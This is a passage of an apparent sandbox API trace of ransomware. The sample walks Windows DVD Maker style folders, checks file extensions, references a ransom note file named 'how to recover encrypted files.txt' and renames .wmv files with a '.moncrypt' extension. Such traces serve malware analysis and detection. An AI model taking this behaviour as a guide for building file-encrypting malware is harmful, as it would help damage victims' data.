[0057.410] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.411] GlobalUnlock (hMem=0x440004) returned 0 [0057.411] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.411] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.411] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.411] GlobalUnlock (hMem=0x440004) returned 0 [0057.411] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.411] GlobalUnlock (hMem=0x44000c) returned 0 [0057.411] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.411] CharLowerBuffW (in: lpsz="BabyBoyMainBackground.wmv", cchLength=0x19 | out: lpsz="babyboymainbackground.wmv") returned 0x19 [0057.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.412] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv", lpUsedDefaultChar=0x0) returned 77 [0057.412] CharLowerBuffW (in: lpsz=".wmv", cchLength=0x4 | out: lpsz=".wmv") returned 0x4 [0057.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmv", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmvles\\BabyBoy\\BabyBoyMainBackground.wmv", lpUsedDefaultChar=0x0) returned 4 [0057.412] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 0x54e280 [0057.412] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.412] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.412] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.412] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv", dwFileAttributes=0x20) returned 0 [0057.413] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.414] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv.moncrypt")) returned 0 [0057.414] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0057.414] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.414] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.414] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.414] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.414] GlobalUnlock (hMem=0x44000c) returned 0 [0057.414] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.414] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.414] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.414] GlobalUnlock (hMem=0x44000c) returned 0 [0057.414] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.414] GlobalUnlock (hMem=0x440004) returned 0 [0057.414] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.414] CharLowerBuffW (in: lpsz="BabyBoyMainBackground_PAL.wmv", cchLength=0x1d | out: lpsz="babyboymainbackground_pal.wmv") returned 0x1d [0057.414] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv", cchWideChar=81, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 81 [0057.416] CharLowerBuffW (in: lpsz=".wmv", cchLength=0x4 | out: lpsz=".wmv") returned 0x4 [0057.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmv", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmvles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 4 [0057.416] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 0x54e280 [0057.416] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.416] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.416] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.416] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv", dwFileAttributes=0x20) returned 0 [0057.416] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.417] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv.moncrypt")) returned 0 [0057.417] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0057.417] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.417] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.417] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.417] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.417] GlobalUnlock (hMem=0x440004) returned 0 [0057.417] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.417] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.417] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.417] GlobalUnlock (hMem=0x440004) returned 0 [0057.417] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.417] GlobalUnlock (hMem=0x44000c) returned 0 [0057.417] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.417] CharLowerBuffW (in: lpsz="BabyBoyMainToNotesBackground.wmv", cchLength=0x20 | out: lpsz="babyboymaintonotesbackground.wmv") returned 0x20 [0057.417] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.417] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, 